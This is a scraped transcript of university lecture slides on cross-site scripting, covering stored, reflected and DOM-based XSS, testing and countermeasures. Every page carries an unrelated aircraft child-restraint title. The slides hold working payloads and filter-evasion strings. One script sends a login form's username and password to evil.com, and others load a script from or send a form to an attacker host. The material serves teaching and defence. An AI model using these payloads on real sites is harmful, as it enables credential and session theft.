child aviation restraint system (cares) - home - amsafe cmm vault

46
Hacking Web Sites Cross Site Scripting Emmanuel Benoist Fall Term 2018/2019 Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 1

Upload: others

Post on 12-Sep-2021

2 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Hacking Web SitesCross Site Scripting

Emmanuel BenoistFall Term 2018/2019

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 1

Page 2: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Table of Contents

� PresentationStored XSSReflected XSSDOM based XSS

� JS manipulating the DOM

� Testing strategies

� Countermeasures

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 2

Page 3: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Presentation

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 3

Page 4: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Cross Site Scripting - XSS

If the web site allows uncontrolled content to besupplied by users

User can write content in a Guest-book or ForumUser can introduce malicious code in the content

Example of malicious codeModification of the Document Object Model - DOM (changesome links, add some buttons)Send personal information to thirds (javascript can sendcookies to other sites)

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 4

Page 5: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

modus Operandi

Attacker Executes Script on the Victim’s machineIs usually JavascriptCan be any script language supported by the victim’s browser

Three types of Cross Site ScriptingReflectedStoredDOM injection

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 5

Page 6: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Stored XSS

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 6

Page 7: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Stored XSS

Hostile Data is taken and storedIn a fileIn a Databaseor in any other backend system

Then Data is sent back to any visitor of the web site

Risk when large number of users can see unfilteredcontent

Very dangerous for Content Management Systems (CMS)Blogsforums

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 7

Page 8: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Example of Stored XSSA user has access to a CMS (Content ManagementSystem)

The user can write some content (home page, news, blogs, ...)The user can modify the layout and edit content

Hello world <b>Everybody</b><br>

I want to say something!

This content will be saved in a databaseThe content will be shown to all (or some) visitors of the site

The user can write:

Hello <b> World</b><script>alert("Hello");</↘

→script>

Any visitor reading the page will execute the scriptPage shows an alert messageBut can be much more dangerous

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 8

Page 9: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Other stored XSS

One can manipulate the DOM in JavaScriptAccess a DOM node, change its contentdocument.getElementById() and change innerHTML

Suppose the page contains this HTML

<h1 id="title">This is the title</h1>

The following can be injected

Hello <b>World</b>

<script>document.getElementById(title).innerHTML↘

→="This

site was hacked’’;</script>

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 9

Page 10: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Reflected XSS

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 10

Page 11: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Reflected XSS

The easiest exploitA page will reflect user supplied data directly back tothe userIt contains something like:

echo $_REQUEST[’userinput’];

So when the user types:

<script>

alert("Hello World");

</script>

He receives an alert in his browserDanger

If the URL (containing GET parameters) is delivered by a thirdto the victimThe Victim will access a modified pageSSL certificate and security warning are OK!!!

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 11

Page 12: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Where is reflected XSS? IIn any form where input is displayedSearch form

<form method="GET">

<input type="text" name="val">

<input type="submit" value="Send">

</form>

<?php echo "The search you did is:".$_GET[’val’↘

→];

print_results($_GET[’val’]);

?>

Error message

$x = $_GET[’val’];

if(!validation_is_OK($x)){

echo "Value is not correct:".$x;

}

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 12

Page 13: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Where is reflected XSS? II

XSS often in pages not intended for web browsersAJAX URL’s (normally for transferring data)JSON addresses (for data also)

If they are loaded inside a browser, can they be misused.

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 13

Page 14: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Exploit Reflected XSS

Not easy:The message is normally only returned to the same personThe reflecting XSS is difficult to exploit

Idea: transfer an URL to the browser containing theparameters

Parameters can be included inside the URL (GET requests andURL encoded parameters)https://www.mysite.com/?param=value

URL is included inside a mailCan be a spam (for phishing)Or a targeted email (for spare phishing)The victim will click on the linkThe link looks very legitimate (right site, https, ...) :impossible to see it is not valide

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 14

Page 15: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Example: Change an error messageinto a login page I

Suppose we have this code:

<?php

$x = $_GET[’val’];

if(!validation_is_OK($x)){

echo "Value is not correct:".$x;

} ...

?>

One will write the following linkhttps://www.mysite.com/?val=%3Cscript+src%3D%

22evilProgram.js%22%3E%3C%2Fscript%3E

Val is URL encoded:

<script src="evilProgram.js"></script>

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 15

Page 16: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Example Change an error messageinto a login page II

Program does:Errase the content of the pageCreate new nodesBuild a totally new Document Object Model (see later how tomanipulate the DOM)

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 16

Page 17: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

DOM based XSS

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 17

Page 18: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

DOM Based XSSDocument Object Model

The document is represented using a treeThe tree is rooted with the document nodeEach tag and text is part of the tree

JavaScript is manipulated directly inside the clientDoes not need to be reflected by the server.Using misconfiguration of client side codeUsing flows in frameworks (AngularJS, JQuery, . . . )

XSS is directly injected inside the DOMUsing JavaScript misprogrammingUsing a flow in a frameworkUsing evaluation of rogue data

XSS Modifies the Document Object Model (DOM)Javascript can manipulate all the documentIt can create new nodes,Remove existing nodesChange the content of some nodes

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 18

Page 19: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Example of DOM based XSSSuppose we have the following JS-code

<script>

document.write("<b>Current URL</b> : " + ↘

→document.baseURI);

</script>

If you send the following link to the browser (just URLencoded)

http://www.example.com/test.html#<script>alert↘

→(1)</script>

When the script is interpretedThe document.wirte() function adds the content to thepage:<script>alert(1)</script>

It is executed!Nothing was ever sent to the server!

Anchor (i.e. after the #) is used for navigation onlyBerner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 19

Page 20: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Principles

Input (source) is transfered to an output (sink)Input provided by the userIf the output is written without being encoded : can beexploited

Popular sourcesdocument.URL, document.documentURI, location.href,location.search, location.*, window.name,document.referrer

Popular sinksdocument.write(), anything.innerHTML=someelements.src (for specific elements)

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 20

Page 21: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

JS manipulating the DOM

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 21

Page 22: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Document Object ModelHTML is converted into a tree

<html>

<body>

<div id="header">

<h1>Title of the page</h1>

</div>

<div id="menu">

<ul id="menu-list">

<li class="menuitem">

<a href="index.php?id=1">One</a>

</li>

<li class="menuitem"><a href="index.php?id=2">Two</a></↘

→li>

<li class="menuitem"><a href="index.php?id=3">Three</a↘

→></li>

</ul>

</div>

<div id="content">

<p> Hello World </p>

</div>

</div>

</body>

</html>

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 22

Page 23: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Document Object Model (Cont.)

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 23

Page 24: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Javascript can manipulate the DOMCreate a new node and insert it in the tree

var newli = document.createElement("li");

var newtxtli = document.createTextNode("Four");

newli.appendChild(newtxtli);

document.getElementById("menu-list").appendChild↘

→(newli);

Delete a node

firstchild = document.getElementById("menu-list"↘

→).firstChild;

document.getElementById("menu-list").removeChild↘

→(firstchild);

Modify a node

document.getElementById("addbutton").onclick=↘

→otherFunction;

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 24

Page 25: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

What can be done in manipulatingthe DOM

Change the title of a page

var my_title = document.getElementById("title");

my_title.innerHTML = "<h1>New Title</h1>";

Remove the error messages

var myNode = document.getElementById("error_list↘

→");

while (myNode.firstChild) {

myNode.removeChild(myNode.firstChild);

}

Change the destination of a formular

document.getElementById("form1").action="https↘

→://www.evil.com/dest";

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 25

Page 26: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

AJAXAsynchronous Javascript and XML

Javascript is used for interacting with the clientClient receive the page from the serverJavascript handles events,reacts to key down, value changed, mouse-over, etc.

Javascript establishes an asynchronous communicationwith the server

Creates a XMLHTTPRequest objectSends a request to the server (without refreshing the page)Modifies the page according to the data received from theserver

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 26

Page 27: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

AJAX Example

Example:https://www.benoist.ch/SoftSec/examples/xss/ajax/ajax1.php

We have a Form containing a selection box

On Change of the selection, the functionshowCustomer() is executed

The function creates an Object (XMLHttpRequest or itsMS-cousins)

A request is sent to a PHP file,

The PHP program generates a Table

The table is included in the html DOM.

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 27

Page 28: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

AJAX and XSS

XSS can steel valuable data: Username/Password,Cookies (session IDs)CSRF Token (protecting against Cross Site Request Forgery).

AJAX used For Exporting DataAsynchrone JavaScript for sending data to CC

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 28

Page 29: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Connect another server

“Same Origin Policy” prevents from connecting anotherserver

Browser is configured to connect only one siteIt can also connect to other sites in the same domain orsubdomainJavascript is allowed only to send XMLHTTPRequest object tothe server of the page

Attacker wants to receive information elsewhere:Modify the DOM to insert a new fileCreate a request that contains the informationIf the file contains JavaScript, a communication is possible!!!

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 29

Page 30: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Spy the content of a formSpy remains unnoticed by the user

Suppose a page contains such a form

<form action="login.php" method="POST" id="↘

→login_form">

Username <input type="text" name="username" id↘

→="txt_username">,

Password <input type="password" name="password↘

→" id="txt_password">

</form>

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 30

Page 31: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Spy the content of a form II

If the following Javascript is injected in the pageAccess to the content of the form:

var u = document.getElementById("txt_username").↘

→value;

var v = document.getElementById("txt_password").↘

→value;

Generate a GET request to another site:

var url="https://www.evil.com/?user="+u+"&pwd↘

→=’’+v;

var html="<script src=’"+url+"></script>";

document.write(html);

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 31

Page 32: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Spy the content of a form III

Modification of the DOM

Create a new <script> elementNeed to load the source URL : hence generate a requestGET request to https://www.evil.com/ containing twovalues (user, pwd)Program just needs to write it into a database.

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 32

Page 33: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Testing strategies

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 33

Page 34: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Where can JavaScript be hidden?

JavaScript can be hidden anywhere

Javascript in <script> tag (the normal way)

<script type="text/javascript">

// Here comes the script

</script>

Or from an external file

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Javascript as eventhandler

<span onmouseover="alert(10);">Test 1</span>

Javascript as URL

<a href="javascript:alert(’XSS’);">Test 3</a>

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 34

Page 35: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Examples of tests

The following XSS scripts can be inserted in pages, totest if the protection is in order:

Display a alert with XSS

’’;!--"<XSS>=&{()}

Loads the file xss.js on the corresponding server

<SCRIPT SRC=http://www.evil.com/xss.js></SCRIPT>

The false image loads a javascript

<IMG SRC="javascript:alert(’XSS’);">

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 35

Page 36: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Examples of tests (Cont.)The same instruction using UTF-8 encoding

<IMG SRC=&#↘

→106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>↘

Adding some extra brackets will allow to circumvent sometesters

<<SCRIPT>alert("XSS");//<</SCRIPT>

Don’t use the javascript instruction

<BODY ONLOAD=alert(’XSS’)>

Use the Meta tag

<META HTTP-EQUIV="refresh" CONTENT="0;

URL=http://;URL=javascript:alert(’XSS’);">

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 36

Page 37: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Countermeasures

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 37

Page 38: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

ProtectionCombination of

Whitelist validation of all incoming data

Allows the detection of attacks

Appropriate encoding of all output data.prevents any successful script injection from running in thebrowser

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 38

Page 39: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Input Validation

Use Standard input validation mechanismValidate length, type, syntax and business rules

Use the “Accept known good” validationReject invalid inputDo not attempt to sanitize potentially hostile dataDo not forget that error messages might also include invaliddata

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 39

Page 40: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Strong Output Encoding

Ensure that all user-supplied data is appropriately entityencoded before rendering

HTML or XML depending on output mechanismmeans <script> is encoded &lt;script&gt;

Encode all characters other than a very limited subset

Set the character encoding for each page you outputspecify the character encoding (e.g. ISO 8859-1 or UTF 8)Do not allow attacker to choose this for your users

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 40

Page 41: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Language Specific recommendations

JavaUse Struts or JSF output validation and output mechanismsOr use the JSTL escapeXML="true" attribute in <c:out

...>

Do not use <%= %>

.NET: use the Microsoft Anti-XSS Library

PHP: Ensure Output is passed through htmlentities()or htmlspecialchars()

You can also use the ESAPI library developped by OWASPContent is first validatedThen it is canonicalize()d to be storedThe output is then encoded using: encodeForHTML(),encodeForHTMLAttribute() or encodeForJavascript()functions (depending on the use).

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 41

Page 42: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Protection against DOM based XSS

Use the right output method (sink)Do not use innerHTML

Use innerText or textContent

Never use user controled input in an eval

Evaluation of uncontroled input is very dangerous

Encoding correctly is quite difficult

Solution for the DOM-based XSS example

<b>Current URL:</b> <span id="contentholder"></↘

→span>

<script>

document.getElementById("contentholder").↘

→textContent = document.baseURI;

</script>

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 42

Page 43: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Content Security PolicyThe server may include in HTTP headers security policyinstructions

Content-Security-Policy to be added in HTTP header

Defines where the browser may find resources

White lists of known good locations.

Examples of directives:

default-src Define loading policy for all resources type incase of a resource type dedicated directive is not defined(fallback),script-src Define which scripts the protected resource canexecute,object-src Define from where the protected resource canload pluginsstyle-src Define which styles (CSS) the user applies to theprotected resource,img-src Define from where the protected resource can loadimages,

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 43

Page 44: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Malvertising

Web Sites are using advertisement brokersContent providers (to get money)Merchants (to get customers)

Web Sites include JavaScript code provided by brokersSite contains a link to the broker:

<script src="https://w.tda.io/scripts/dakt.js">

</script>

Broker sends a JavaScript program that is executedBroker code loads the code of the Merchant paying for theadvertisement.

Risk: is the merchant a good guy?

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 44

Page 45: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Conclusion

Cross Site ScriptingScript is injected inside the browser by an attackerCan be stored in a databaseOr just be sent using a link

Script is executed inside the browser of the victimInherits the access of the site: can read credentials and sessiontokens

PreventionFilter inputs (white listing is better than black listing)Encode outputs (or use safe sinks).

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 45

Page 46: Child Aviation Restraint System (CAReS) - Home - AmSafe CMM Vault

Bibliography

OWASP Top 10 (2007, 2013 and 2017)

https://www.owasp.org/index.php/Testing_for_

Cross_site_scripting

https://www.owasp.org/index.php/XSS_Filter_

Evasion_Cheat_Sheet

DOM-based XSShttps://www.netsparker.com/blog/web-security/

dom-based-cross-site-scripting-vulnerability/

Berner Fachhochschule | Haute ecole specialisee bernoise | Berne University of Applied Sciences 46